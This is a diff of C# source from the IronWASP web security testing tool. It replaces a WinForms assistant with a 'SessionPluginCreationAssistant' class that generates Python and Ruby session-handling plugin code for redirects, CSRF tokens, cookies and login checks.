Rb.AppendLine("end"); - } - break; - case ("Header"): - //Update the header parameter of specified request - Py.Append(" ");Py.AppendLine("#Update the Header parameter with the new value"); - Py.Append(" "); Py.AppendLine(string.Format("if {0}.Headers.Has('{1}'):", RequestParameterName, ParameterName)); - Py.Append(" "); Py.AppendLine(string.Format("{0}.Headers.Set('{1}', {2})", RequestParameterName, ParameterName, CurrentParameterValueVariableName)); - Py.Append(" "); Py.AppendLine("else:"); - Py.Append(" "); Py.AppendLine(string.Format("self.Trace({0}, 'Error updating {1}', 'The {2} request does not contain the header parameter {3}\\r\\n\\r\\nThe Request is:\\r\\n\\r\\n' + {4}.ToString())", RequestParameterName, CurrentRequestName, CurrentRequestName, ParameterName, RequestParameterName)); - Py.Append(" "); Py.AppendLine("raise Exception('Error updating request header parameter')"); - Py.Append(" "); Py.AppendLine("pass");//this is required because self.Trace and raise lines will be removed in the update_req methods - PySpl.Append(Py.ToString()); - - Rb.Append(" ");Rb.AppendLine("#Update the Header parameter with the new value"); - Rb.Append(" "); Rb.AppendLine(string.Format("if {0}.headers.has('{1}')", RequestParameterName, ParameterName)); - Rb.Append(" "); Rb.AppendLine(string.Format("{0}.headers.set('{1}', {2})", RequestParameterName, ParameterName, CurrentParameterValueVariableName)); - Rb.Append(" "); Rb.AppendLine("else"); - Rb.Append(" "); Rb.AppendLine(string.Format(@"Trace({0}, 'Error updating {1}', 'The {2} request does not contain the header parameter {3}' + ""\r\n\r\nThe Request is:\r\n\r\n"" + {4}.to_string)", RequestParameterName, CurrentRequestName, CurrentRequestName, ParameterName, RequestParameterName)); - Rb.Append(" "); Rb.AppendLine("raise 'Error updating request header parameter'"); - Rb.Append(" "); Rb.AppendLine("end"); - RbSpl.Append(Rb.ToString()); - - if (RequestParameterName.Equals("req")) - { - //Update the header parameter of all requests that have this parameter - Py.Append(" "); Py.AppendLine("#Update the Header parameter of the other requests that have the same parameter with the new value"); - Py.Append(" "); Py.AppendLine("for r_n in self.reqs.keys():"); - Py.Append(" "); Py.AppendLine(string.Format("if self.reqs[r_n].Headers.Has('{0}'):", ParameterName)); - Py.Append(" "); Py.AppendLine(string.Format("self.reqs[r_n].Headers.Set('{0}', {1})", ParameterName, CurrentParameterValueVariableName)); - - Rb.Append(" "); Rb.AppendLine("#Update the Header parameter of the other requests that have the same parameter with the new value"); - Rb.Append(" "); Rb.AppendLine("for r_n in @reqs.keys"); - Rb.Append(" "); Rb.AppendLine(string.Format("if @reqs[r_n].headers.has('{0}')", ParameterName)); - Rb.Append(" "); Rb.AppendLine(string.Format("@reqs[r_n].headers.set('{0}', {1})", ParameterName, CurrentParameterValueVariableName)); - Rb.Append(" "); Rb.AppendLine("end"); - Rb.Append(" "); Rb.AppendLine("end"); - } - break; - } - - if (RequestParameterName.Equals("req") && !UpdateFrom.Equals("User")) - { - UpdateToInjectRequestMethodCounter++; - Py.Append(" "); Py.AppendLine("#Store this response to update other primary requests later"); - Py.Append(" "); Py.AppendLine(string.Format("self.ress[{0}] = {1}", UpdateToInjectRequestMethodCounter, ResponseParameterName)); - - Rb.Append(" "); Rb.AppendLine("#Store this response to update other primary requests later"); - Rb.Append(" "); Rb.AppendLine(string.Format("@ress[{0}] = {1}", UpdateToInjectRequestMethodCounter, ResponseParameterName)); - - StringBuilder PyMethodDec = new StringBuilder(); - StringBuilder RbMethodDec = new StringBuilder(); - - PyMethodDec.Append(" "); PyMethodDec.AppendLine(string.Format("def update_req_{0}(self, req):", UpdateToInjectRequestMethodCounter)); - PyMethodDec.Append(" "); PyMethodDec.AppendLine(string.Format("if not self.ress.has_key({0}):", UpdateToInjectRequestMethodCounter)); - PyMethodDec.Append(" "); PyMethodDec.AppendLine("return req"); - PyMethodDec.Append(" "); PyMethodDec.AppendLine(string.Format("{0} = self.ress[{1}]", ResponseParameterName, UpdateToInjectRequestMethodCounter)); - - string RawPySpl = PySpl.ToString(); - StringBuilder TrimmedPySpl = new StringBuilder(); - foreach(string RawPySplLine in RawPySpl.Split(new string[]{Environment.NewLine}, StringSplitOptions.None)) - { - string TrimmedLine = RawPySplLine.TrimStart(); - //Only add lines that don't have trace or exception throwing code - if (!(TrimmedLine.StartsWith("self.Trace(") || TrimmedLine.StartsWith("raise "))) - { - TrimmedPySpl.AppendLine(RawPySplLine); - } - } - - PyMethodDec.Append(TrimmedPySpl.ToString()); - PyMethodDec.Append(" "); PyMethodDec.AppendLine("return req"); - - RbMethodDec.Append(" "); RbMethodDec.AppendLine(string.Format("def update_req_{0}(req)", UpdateToInjectRequestMethodCounter)); - RbMethodDec.Append(" "); RbMethodDec.AppendLine(string.Format("if not @ress.has_key?({0})", UpdateToInjectRequestMethodCounter)); - RbMethodDec.Append(" "); RbMethodDec.AppendLine("return req"); - RbMethodDec.Append(" "); RbMethodDec.AppendLine("end"); - RbMethodDec.Append(" "); RbMethodDec.AppendLine(string.Format("{0} = @ress[{1}]", ResponseParameterName, UpdateToInjectRequestMethodCounter)); - - string RawRbSpl = RbSpl.ToString(); - StringBuilder TrimmedRbSpl = new StringBuilder(); - foreach (string RawRbSplLine in RawRbSpl.Split(new string[] { Environment.NewLine }, StringSplitOptions.None)) - { - string TrimmedLine = RawRbSplLine.TrimStart(); - //Only add lines that don't have trace or exception throwing code - if (!(TrimmedLine.StartsWith("Trace(") || TrimmedLine.StartsWith("raise "))) - { - TrimmedRbSpl.AppendLine(RawRbSplLine); - } - } - - RbMethodDec.Append(TrimmedRbSpl.ToString()); - RbMethodDec.Append(" "); RbMethodDec.AppendLine("return req"); - RbMethodDec.Append(" "); RbMethodDec.AppendLine("end"); - - UpdateToInectRequestMethodPyDeclarations[UpdateToInjectRequestMethodCounter] = PyMethodDec.ToString(); - UpdateToInectRequestMethodRbDeclarations[UpdateToInjectRequestMethodCounter] = RbMethodDec.ToString(); - } - Code[0] = Py.ToString(); - Code[1] = Rb.ToString(); - return Code; - } - else - { - throw new Exception("Invalid Pseudo Code"); - } - } - string[] ResponseSignaturePseudoCodeToCode(string Label, List PseudoCodeLines, string ResponseVariableName) - { - string[] Code = new string[2]; - StringBuilder Py = new StringBuilder(); - StringBuilder Rb = new StringBuilder(); - bool LoggedInSignature = false; - if (PseudoCodeLines[0].Equals("LoggedInSignatureBegins")) - LoggedInSignature = true; - else - LoggedInSignature = false; - bool ResponseCodeChecked = false; - - Regex ResponseSignatureRegex = new Regex(@"LastResponse Code (\d{3}) (Location|Title|Body) (StartsWith|EndsWith|Has|NotHas|Regex) (.+)"); - - for (int i=1; i 0:", PropertyValuePyCode, KeywordOrRegex); - PropertyValueMatchRbCode = string.Format("{0}.index('{1}')", PropertyValueRbCode, KeywordOrRegex); - break; - case ("NotHas"): - PropertyValueMatchPyCode = string.Format("{0}.count('{1}') == 0:", PropertyValuePyCode, KeywordOrRegex); - PropertyValueMatchRbCode = string.Format("({0}.index('{1}') == nil)", PropertyValueRbCode, KeywordOrRegex); - break; - case ("Regex"): - KeywordOrRegex = KeywordOrRegex.Substring(1, KeywordOrRegex.Length - 2).Replace("'", "\\'"); - PropertyValueMatchPyCode = string.Format("re.match('{0}', {1}):", KeywordOrRegex, PropertyValuePyCode); - PropertyValueMatchRbCode = string.Format("({0} =~ /{1}/)",PropertyValueRbCode, KeywordOrRegex); - break; - } - Py.Append(" "); Py.AppendLine(string.Format("if not {0}", PropertyValueMatchPyCode)); - Rb.Append(" "); Rb.AppendLine(string.Format("if not {0}", PropertyValueMatchRbCode)); - - if (LoggedInSignature) - { - Py.Append(" "); Py.AppendLine("return False"); - Rb.Append(" "); Rb.AppendLine("return false"); - } - else - { - Py.Append(" "); Py.AppendLine("return True"); - Rb.Append(" "); Rb.AppendLine("return true"); - } - Rb.Append(" "); Rb.AppendLine("end"); - } - else - { - throw new Exception("Invalid Pseudo Code"); - } - } - - if (LoggedInSignature) - { - Py.Append(" "); Py.AppendLine("return True"); - Rb.Append(" "); Rb.AppendLine("return true"); - } - else - { - Py.Append(" "); Py.AppendLine("return False"); - Rb.Append(" "); Rb.AppendLine("return false"); - } - Code[0] = Py.ToString(); - Code[1] = Rb.ToString(); - return Code; - } - #endregion - - - #region EventHandlers - - private void AnswerTB_KeyPress(object sender, KeyPressEventArgs e) - { - if (e.KeyChar == (Char)Keys.Return) - { - e.Handled = true; - ProcessUserAnswer(); - AnswerTB.Text = ""; - } - } - - private void SubmitAnswerBtn_Click(object sender, EventArgs e) - { - ProcessUserAnswer(); - AnswerTB.Text = ""; - BigAnswerTB.Text = ""; - } - - private void ScanCustomizationAssistant_Load(object sender, EventArgs e) - { - GoToHomeMenu(); - } - - private void ParametersDescLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - string ParameterName = ParameterNameTB.Text.Trim(); - if (ParameterName.Length == 0) - { - ShowError("Parameter names cannot be empty"); - ParameterNameTB.BackColor = Color.Red; - return; - } - if (ParameterTypeCombo.SelectedIndex == 0) - { - try - { - Int32.Parse(ParameterName); - } - catch - { - ShowError("UrlPathPart parameter index must be an integer"); - ParameterNameTB.BackColor = Color.Red; - return; - } - } - - HowToUpdateParameterPanel.Visible = true; - if (ParametersAnswerAskUserOnly) - { - ParameterSourceFromResponseRB.Checked = false; - ParameterSourceFromResponseRB.Enabled = false; - ParameterSourceFromUserRB.Checked = true; - HowToParseResponsePanel.Visible = false; - UserHintPanel.Visible = true; - } - else - { - ParameterSourceFromResponseRB.Enabled = true; - ParameterSourceFromResponseRB.Checked = false; - ParameterSourceFromUserRB.Checked = false; - } - } - - private void ParameterSourceFromResponseRB_CheckedChanged(object sender, EventArgs e) - { - ParameterParseRegexTB.Text = ""; - if (ParameterSourceFromResponseRB.Checked) - { - HowToParseResponsePanel.Visible = true; - ParseParameterFromHtmlRB.Checked = true; - } - else - { - HowToParseResponsePanel.Visible = false; - } - AddParameterAnswerEntryLL.Visible = true; - } - - private void ParameterSourceFromUserRB_CheckedChanged(object sender, EventArgs e) - { - if (ParameterSourceFromUserRB.Checked) - { - UserHintPanel.Visible = true; - } - else - { - UserHintPanel.Visible = false; - } - AddParameterAnswerEntryLL.Visible = true; - } - - private void ParseParameterFromRegexRB_CheckedChanged(object sender, EventArgs e) - { - if (ParseParameterFromRegexRB.Checked) - ParameterParseRegexTB.Enabled = true; - else - ParameterParseRegexTB.Enabled = false; - } - - private void ParameterTypeCombo_KeyPress(object sender, KeyPressEventArgs e) - { - if (e.KeyChar != (char)Keys.Enter) - e.Handled = true; - } - - private void RequestSourceCombo_KeyPress(object sender, KeyPressEventArgs e) - { - if (e.KeyChar != (char)Keys.Enter) - e.Handled = true; - } - - private void UseLocationSignatureCB_CheckedChanged(object sender, EventArgs e) - { - if (UseLocationSignatureCB.Checked) - { - LocationSignatureTypeSelectCombo.Enabled = true; - LocationSignatureKeywordTB.Enabled = true; - } - else - { - LocationSignatureTypeSelectCombo.Enabled = false; - LocationSignatureKeywordTB.Enabled = false; - } - } - - private void UseTitleSignatureCB_CheckedChanged(object sender, EventArgs e) - { - if (UseTitleSignatureCB.Checked) - { - TitleSignatureTypeSelectCombo.Enabled = true; - TitleSignatureKeywordTB.Enabled = true; - } - else - { - TitleSignatureTypeSelectCombo.Enabled = false; - TitleSignatureKeywordTB.Enabled = false; - } - } - - private void UseBodySignatureCB_CheckedChanged(object sender, EventArgs e) - { - if (UseBodySignatureCB.Checked) - { - BodySignatureTypeSelectCombo.Enabled = true; - BodySignatureKeywordTB.Enabled = true; - } - else - { - BodySignatureTypeSelectCombo.Enabled = false; - BodySignatureKeywordTB.Enabled = false; - } - } - - private void LocationSignatureTypeSelectCombo_KeyPress(object sender, KeyPressEventArgs e) - { - if (e.KeyChar != (char)Keys.Enter) - e.Handled = true; - } - - private void TitleSignatureTypeSelectCombo_KeyPress(object sender, KeyPressEventArgs e) - { - if (e.KeyChar != (char)Keys.Enter) - e.Handled = true; - } - - private void BodySignatureTypeSelectCombo_KeyPress(object sender, KeyPressEventArgs e) - { - if (e.KeyChar != (char)Keys.Enter) - e.Handled = true; - } - - private void SignatureSubmitBtn_Click(object sender, EventArgs e) - { - try - { - Int32.Parse(SignatureResponseCodeTB.Text); - } - catch - { - ShowError("Invalid Response Code specified"); - SignatureResponseCodeTB.BackColor = Color.Red; - return; - } - if (FullResponseSignatureFirstPanel.Visible && !LoggedInResponseSignatureRB.Checked && !LoggedOutResponseSignatureRB.Checked) - { - ShowError("Select either Logged In Signature or Logged Out Signature"); - return; - } - if (UseLocationSignatureCB.Checked) - { - if (LocationSignatureKeywordTB.Text.Length == 0) - { - ShowError("Keyword field cannot be empty"); - LocationSignatureKeywordTB.BackColor = Color.Red; - return; - } - } - if (UseTitleSignatureCB.Checked) - { - if (TitleSignatureKeywordTB.Text.Length == 0) - { - ShowError("Keyword field cannot be empty"); - TitleSignatureKeywordTB.BackColor = Color.Red; - return; - } - } - if (UseBodySignatureCB.Checked) - { - if (BodySignatureKeywordTB.Text.Length == 0) - { - ShowError("Keyword field cannot be empty"); - BodySignatureKeywordTB.BackColor = Color.Red; - return; - } - } - if (FullResponseSignatureFirstPanel.Visible) - { - if (!(UseLocationSignatureCB.Checked || UseTitleSignatureCB.Checked || UseBodySignatureCB.Checked)) - { - ShowError("Select either Location, Title or Body signature along with Response Code"); - return; - } - } - ProcessUserAnswer(); - } - - private void SignatureResponseCodeTB_TextChanged(object sender, EventArgs e) - { - if (SignatureResponseCodeTB.BackColor != Color.White) - { - SignatureResponseCodeTB.BackColor = Color.White; - } - } - - private void LocationSignatureKeywordTB_TextChanged(object sender, EventArgs e) - { - if (SignatureResponseCodeTB.BackColor != Color.White) - { - SignatureResponseCodeTB.BackColor = Color.White; - } - } - - private void TitleSignatureKeywordTB_TextChanged(object sender, EventArgs e) - { - if (TitleSignatureKeywordTB.BackColor != Color.White) - { - TitleSignatureKeywordTB.BackColor = Color.White; - } - } - - private void BodySignatureKeywordTB_TextChanged(object sender, EventArgs e) - { - if (BodySignatureKeywordTB.BackColor != Color.White) - { - BodySignatureKeywordTB.BackColor = Color.White; - } - } - - private void AnswerTabs_Selecting(object sender, TabControlCancelEventArgs e) - { - switch (CurrentQuestionType) - { - case (QuestionTypeTextAnswer): - if (!e.TabPage.Name.Equals("TextAnswerTab")) AnswerTabs.SelectTab("TextAnswerTab"); - break; - case (QuestionTypeParametersAnswer): - if (!e.TabPage.Name.Equals("ParameterAnswerTab")) AnswerTabs.SelectTab("ParameterAnswerTab"); - break; - case (QuestionTypeRequestSourceAnswer): - if (!e.TabPage.Name.Equals("RequestSourceAnswerTab")) AnswerTabs.SelectTab("RequestSourceAnswerTab"); - break; - case (QuestionTypeResponseSignatureAnswer): - if (!e.TabPage.Name.Equals("ResponseSignatureTab")) AnswerTabs.SelectTab("ResponseSignatureTab"); - break; - case (QuestionTypeSelectOptionAnswer): - if (!e.TabPage.Name.Equals("SelectOptionTab")) AnswerTabs.SelectTab("SelectOptionTab"); - break; - case (QuestionTypeShowPseudoCode): - if (!e.TabPage.Name.Equals("ShowPseudoCodeTab")) AnswerTabs.SelectTab("ShowPseudoCodeTab"); - break; - } - } - - private void RequestSourceIdTB_TextChanged(object sender, EventArgs e) - { - if (RequestSourceIdTB.BackColor != Color.White) - { - RequestSourceIdTB.BackColor = Color.White; - } - } - - private void RequestSourceAnswerSubmitBtn_Click(object sender, EventArgs e) - { - try - { - string RequestName = RequestSourceNameTB.Text.Trim(); - if (RequestName.Length == 0) throw new Exception("Request name cannot be empty"); - if (!Regex.IsMatch(RequestName, @"^[a-zA-Z0-9\s]*$")) throw new Exception("Request name can only have letters numbers and space"); - } - catch(Exception Exp) - { - ShowError(Exp.Message); - RequestSourceNameTB.BackColor = Color.Red; - return; - } - try - { - int LogId = Int32.Parse(RequestSourceIdTB.Text); - if (LogId < 1) - { - throw new Exception("Invalid Log ID"); - } - string LogSource = RequestSourceCombo.Text; - switch (LogSource) - { - case ("Proxy"): - if (Config.LastProxyLogId < LogId) throw new Exception("Invalid Log ID"); - break; - case ("Test"): - if (Config.LastTestLogId < LogId) throw new Exception("Invalid Log ID"); - break; - case ("Shell"): - if (Config.LastShellLogId < LogId) throw new Exception("Invalid Log ID"); - break; - case ("Scan"): - if (Config.LastScanLogId < LogId) throw new Exception("Invalid Log ID"); - break; - case ("Probe"): - if (Config.LastProbeLogId < LogId) throw new Exception("Invalid Log ID"); - break; - default: - if (Config.GetLastLogId(LogSource) < LogId) throw new Exception("Invalid Log ID"); - break; - } - } - catch - { - ShowError("Invalid Log ID"); - RequestSourceIdTB.BackColor = Color.Red; - return; - } - ProcessUserAnswer(); - } - - private void ParameterNameTB_TextChanged(object sender, EventArgs e) - { - if (ParameterNameTB.BackColor != Color.White) - { - ParameterNameTB.BackColor = Color.White; - } - } - - private void ParameterTypeCombo_SelectedIndexChanged(object sender, EventArgs e) - { - if (ParameterTypeCombo.SelectedIndex == 0) - ParameterNameTBLbl.Text = "Parameter Index:"; - else - ParameterNameTBLbl.Text = "Parameter Name:"; - } - - private void ParameterParseRegexTB_TextChanged(object sender, EventArgs e) - { - if (ParameterParseRegexTB.BackColor != Color.White) - { - ParameterParseRegexTB.BackColor = Color.White; - } - } - - private void AddParameterAnswerEntryLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - string ParameterSection = ParameterTypeCombo.Text; - string ParameterName = ParameterNameTB.Text; - string UpdateFrom = ""; - if (ParameterSourceFromResponseRB.Checked) - UpdateFrom = "Response"; - if (ParameterSourceFromUserRB.Checked) - UpdateFrom = "User"; - string ParseResponseMode = ""; - string RegexString = ""; - if (ParameterSourceFromResponseRB.Checked) - { - if (ParseParameterFromHtmlRB.Checked) - ParseResponseMode = "Html Fields"; - if (ParseParameterFromRegexRB.Checked) - { - ParseResponseMode = "with Regex"; - try - { - RegexString = ParameterParseRegexTB.Text.Trim(); - new Regex(RegexString); - } - catch - { - ShowError("Invalid Regex entered"); - ParameterParseRegexTB.BackColor = Color.Red; - return; - } - } - } - string Hint = ""; - if (ParameterSourceFromUserRB.Checked) - Hint = ParameterAskUserHintTB.Text; - object[] Columns = new object[] { ParameterSection, ParameterName, UpdateFrom, ParseResponseMode, RegexString, Hint }; - foreach (DataGridViewRow Row in ParametersAnswerGrid.Rows) - { - if (Row.Cells[0].Value.ToString().Equals(ParameterSection) && Row.Cells[1].Value.ToString().Equals(ParameterName)) - { - ShowError("This parameter has already been entered. Remove old entry before adding another one."); - return; - } - } - ParametersAnswerGrid.Rows.Add(Columns); - ParametersAnswerGrid.ClearSelection(); - - ResetParameterAnswerFields(false); - EditParameterAnswerEntryLL.Visible = true; - DeleteParameterAnswerEntryLL.Visible = true; - } - - private void EditParameterAnswerEntryLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - if (ParametersAnswerGrid.SelectedRows == null || ParametersAnswerGrid.SelectedRows.Count == 0) - { - ShowError("No entry selected. Select a row before deleting it."); - } - else - { - string ParameterSection = ParametersAnswerGrid.SelectedRows[0].Cells["ParameterSectionColumn"].Value.ToString(); - string ParameterName = ParametersAnswerGrid.SelectedRows[0].Cells["ParameterNameColumn"].Value.ToString(); - string UpdateFrom = ParametersAnswerGrid.SelectedRows[0].Cells["UpdateFromColumn"].Value.ToString(); - string ParseResponseMode = ParametersAnswerGrid.SelectedRows[0].Cells["ParseResponseColumn"].Value.ToString(); - string RegexString = ParametersAnswerGrid.SelectedRows[0].Cells["RegexColumn"].Value.ToString(); - string HintText = ParametersAnswerGrid.SelectedRows[0].Cells["HintColumn"].Value.ToString(); - ParametersAnswerGrid.Rows.RemoveAt(ParametersAnswerGrid.SelectedRows[0].Index); - - ParameterTypeCombo.Text = ParameterSection; - ParameterNameTB.Text = ParameterName; - - HowToUpdateParameterPanel.Visible = true; - - if (ParametersAnswerAskUserOnly) - { - ParameterSourceFromResponseRB.Checked = false; - ParameterSourceFromResponseRB.Enabled = false; - HowToParseResponsePanel.Visible = false; - UserHintPanel.Visible = true; - } - else - { - ParameterSourceFromResponseRB.Enabled = true; - ParameterSourceFromUserRB.Enabled = true; - } - if (UpdateFrom.Equals("Response")) - { - ParameterSourceFromResponseRB.Checked = true; - HowToParseResponsePanel.Visible = true; - UserHintPanel.Visible = false; - } - else - { - ParameterSourceFromUserRB.Checked = true; - HowToParseResponsePanel.Visible = false; - UserHintPanel.Visible = true; - } - - if (ParseResponseMode.Equals("Html Fields")) - ParseParameterFromHtmlRB.Checked = true; - else if (ParseResponseMode.Equals("with Regex")) - ParseParameterFromRegexRB.Checked = true; - - ParameterParseRegexTB.Text = RegexString; - ParameterAskUserHintTB.Text = HintText; - } - } - - private void DeleteParameterAnswerEntryLL_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) - { - if (ParametersAnswerGrid.SelectedRows == null || ParametersAnswerGrid.SelectedRows.Count == 0) - { - ShowError("No entry selected. Select a row before deleting it."); - } - else - { - ParametersAnswerGrid.Rows.RemoveAt(ParametersAnswerGrid.SelectedRows[0].Index); - } - } - - private void ParametersAnswerGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - if (ParametersAnswerGrid.SelectedRows == null) return; - if (ParametersAnswerGrid.SelectedRows.Count == 0) return; - EditParameterAnswerEntryLL.Enabled = true; - DeleteParameterAnswerEntryLL.Enabled = true; - } - - private void ParametersAnswerGrid_SelectionChanged(object sender, EventArgs e) - { - if (ParametersAnswerGrid.SelectedRows == null || ParametersAnswerGrid.SelectedRows.Count == 0) - { - EditParameterAnswerEntryLL.Enabled = false; - DeleteParameterAnswerEntryLL.Enabled = false; - } - else - { - EditParameterAnswerEntryLL.Enabled = true; - DeleteParameterAnswerEntryLL.Enabled = true; - } - } - - private void SubmitParameterAnswerBtn_Click(object sender, EventArgs e) - { - ProcessUserAnswer(); - } - - - private void SpecialOptionBtn_Click(object sender, EventArgs e) - { - AnswerTB.Text = "0"; - ProcessUserAnswer(); - } - - private void SelectedOptionSubmitBtn_Click(object sender, EventArgs e) - { - ShowError(""); - int SelectedIndex = -1; - foreach (DataGridViewRow Row in OptionsGrid.Rows) - { - if ((bool)Row.Cells[0].Value) - { - SelectedIndex = Row.Index + 1; - break; - } - } - if (SelectedIndex < 0) - { - ShowError("No options selected!"); - } - else - { - AnswerTB.Text = SelectedIndex.ToString(); - ProcessUserAnswer(); - } - } - - private void OptionsGrid_CellClick(object sender, DataGridViewCellEventArgs e) - { - foreach (DataGridViewRow Row in OptionsGrid.Rows) - { - if (Row.Selected) - Row.Cells[0].Value = true; - else - Row.Cells[0].Value = false; - } - } - #endregion - - private void ShowPseudoCodeGoToMainMenuBtn_Click(object sender, EventArgs e) - { - ProcessUserAnswer(); - } - - private void RequestSourceNameTB_TextChanged(object sender, EventArgs e) - { - if (RequestSourceNameTB.BackColor != Color.White) - { - RequestSourceNameTB.BackColor = Color.White; - } - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.IO; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Text; +using System.Windows.Forms; +using System.Text.RegularExpressions; + +namespace IronWASP +{ + public partial class SessionPluginCreationAssistant : Form + { + + string CurrentQuestionType = ""; + + const string QuestionTypeTextAnswer = "QuestionTypeTextAnswer"; + const string QuestionTypeRequestSourceAnswer = "QuestionTypeRequestSourceAnswer"; + const string QuestionTypeParametersAnswer = "QuestionTypeParametersAnswer"; + const string QuestionTypeResponseSignatureAnswer = "QuestionTypeResponseSignatureAnswer"; + const string QuestionTypeSelectOptionAnswer = "QuestionTypeSelectOptionAnswer"; + const string QuestionTypeShowPseudoCode = "QuestionTypeShowPseudoCode"; + + bool ParametersAnswerAskUserOnly = false; + bool ResponseSignatureFullResponse = false; + + Dictionary> RequestDeclarationsInCode = new Dictionary>(); + + string PluginName = ""; + string PluginLang = "py"; + + List RequestNamesFromUserList = new List(); + + //Follow Redirect + string FollowRedirectPseudoCode = ""; + + //Update CSRF Token + string UpdateCSRFTokensPseudoCode = ""; + + //Handling Set-Cookies + List NamesOfCookieParametersToUpdate = new List(); + + //Handle Login + string LoginActionPseudoCode = ""; + string LoginRequestSourcePseudoCode = ""; + //Logout Detection + + //Multi-step Form Submission + string MultiStepActionPseudoCode = ""; + bool PreInjectionStepsPresent = false; + bool PostInjectionStepsPresent = false; + int PreInjectionCounter = 0; + int PostInjectionCounter = 0; + int PreInjectionCounterMax = 0; + + //Normal Response Signature + + const string HomeMenu = "HomeMenu"; + const string HandleRedirect = "HandleRedirect"; + const string HandleCSRFTokens = "HandleCSRFTokens"; + const string HandleEncodedParameters = "HandleEncodedParameters"; + const string HandleLogin = "HandleLogin"; + const string HandleMultiStep = "HandleMultiStep"; + const string HandleSetCookies = "HandleSetCookies"; + const string PluginCreation = "PluginCreation"; + + const string LoginCheckLabel = "login_check"; + const string PerformLoginLabel = "do_login"; + const string FollowRedirectLabel = "follow_redirect"; + const string UpdateCsrfLabel = "update_tokens"; + const string MultiStepPreLabel = "multi_step_pre"; + const string MultiStepPostLabel = "multi_step_post"; + + Dictionary> ParametersToUpdate = new Dictionary>(); + Dictionary LogSources = new Dictionary(); + + #region Steps + //HomeMenu + internal const string HomeMenu__BaseStep = "HomeMenuBaseStep"; + + //HandleRedirect + //Ask use if he wants to specify or use pseudo code or go back + internal const string HandleRedirect__BaseStep = "HandleRedirectBaseStep"; + //If user selected pseudo code then ask user for the pseudo code + internal const string HandleRedirect__EnterPseudoCodeStep = "HandleRedirectEnterPseudoCodeStep"; + //Ask user to enter the signature for the redirect + internal const string HandleRedirect__ResponseSignatureStep = "HandleRedirectResponseSignatureStep"; + //Display Pseudo Code to the user + internal const string HandleRedirect__ShowPseudoCodeStep = "HandleRedirectShowPseudoCodeStop"; + + //HandleSetCookies + //Ask user if he wants to update SetCookies from response + internal const string HandleSetCookies__BaseStep = "HandleSetCookiesBaseStep"; + //Ask the user to names of all cookie parameters that must be updated from set-cookies, one line at a time + internal const string HandleSetCookies__ParameterNames = "HandleSetCookiesParameterNames"; + + //HandleCSRFToken + //Ask user if he wants to update CSRF token or use pseudo code or go back + internal const string HandleCSRFTokens__BaseStep = "HandleCSRFTokensBaseStep"; + //if user selected pseudo code then ask user for the pseudo code + internal const string HandleCSRFTokens__PseudoCodeStep = "HandleCSRFTokensPseudoCodeStep"; + //Ask user what will be the source of the parameter + internal const string HandleCSRFTokens__ParameterSourceStep = "HandleCSRFTokensParameterSourceStep"; + //Ask user for the source of the reques that must be sent to get the html containing values to update + internal const string HandleCSRFTokens__RequestToSendForResponseStep = "HandleCSRFTokensRequestToSendForResponseStep"; + //Ask user for the parameter details + internal const string HandleCSRFTokens__ParametersStep = "HandleCSRFTokensParametersStep"; + //Ask user for the parameter details + internal const string HandleCSRFTokens__ParametersAskUserOnlyStep = "HandleCSRFTokens__ParametersAskUserOnlyStep"; + //Display the Psedudo Code to the user + internal const string HandleCSRFTokens__ShowPseudoCodeStep = "HandleCSRFTokensShowPseudoCodeStep"; + + + //HandleLogin + //Ask user if he wants to update CSRF token or use pseudo code or go back + internal const string HandleLogin__BaseStep = "HandleLoginBaseStep"; + //if user selected pseudo code then ask user for the pseudo code + internal const string HandleLogin__PseudoCodeStep = "HandleLoginPseudoCodeStep"; + //Ask user for the source of the Request to check if user of logged in + internal const string HandleLogin__LoggedinCheckRequestSourceStep = "HandleLoginLoggedinCheckRequestSourceStep"; + //Ask user which section of the response must be checked to identify logged in or logged out + internal const string HandleLogin__LoggedInLoggedOutSignatureResponseSectionStep = "HandleLoginLoggedInLoggedOutSignatureResponseSectionStep"; + //Ask user for the source of the login request + internal const string HandleLogin__LoginRequestSourceStep = "HandleLoginLoginRequestSourceStep"; + //Ask user if any parameters of the the login request needs to be updated from the response of another request + internal const string HandleLogin__ShouldUpdateLoginRequestStep = "HandleLoginShouldUpdateLoginRequestStep"; + //Ask user if another request must be sent to update the parameters of Login Request + internal const string HandleLogin__IsPreLoginRequestNeededStep = "HandleLoginIsPreLoginRequestNeededStep"; + //Ask user for the source of the pre-login request + internal const string HandleLogin__PreLoginRequestSourceStep = "HandleLoginPreLoginRequestSourceStep"; + //Ask user for parameters that must be updated in the login request + internal const string HandleLogin__LoginRequestParametersStep = "HandleLoginLoginRequestParametersStep"; + //Ask user for parameters that must be updated in the to inject request from the login response + internal const string HandleLogin__ToInjectRequestParametersStep = "HandleLoginToInjectRequestParametersStep"; + //Display the Psedudo Code to the user + internal const string HandleLogin__ShowPseudoCodeStep = "HandleLoginShowPseudoCodeStep"; + + + //Handle MultiStep Form Submission + //Ask user if he wants to perform MultiStep submission + internal const string HandleMultiStep__BaseStep = "HandleMultiStepBaseStep"; + //if user selected pseudo code then ask user for the pseudo code + internal const string HandleMultiStep__PseudoCodeStep = "HandleMultiStepPseudoCodeStep"; + //Ask user if actions must be performed both before and after injection + internal const string HandleMultiStep__BeforeAfterInjectionSelectionStep = "HandleMultiStepBeforeAfterInjectionSelectionStep"; + //Ask user for the source of the request to be sent before injection + internal const string HandleMultiStep__PreInjectionRequestSourceStep = "HandleMultiStepPreInjectionRequestSourceStep"; + //Ask user for the parameters of current request that must be updated from previous response + internal const string HandleMultiStep__PreInjectionRequestParametersStep = "HandleMultiStepPreInjectionRequestParametersStep"; + //Ask user if another request must be sent before injection + internal const string HandleMultiStep__MorePreInjectionRequestStep = "HandleMultiStepMorePreInjectionRequestStep"; + //Ask user for the parameters of the toinject request that must be updated 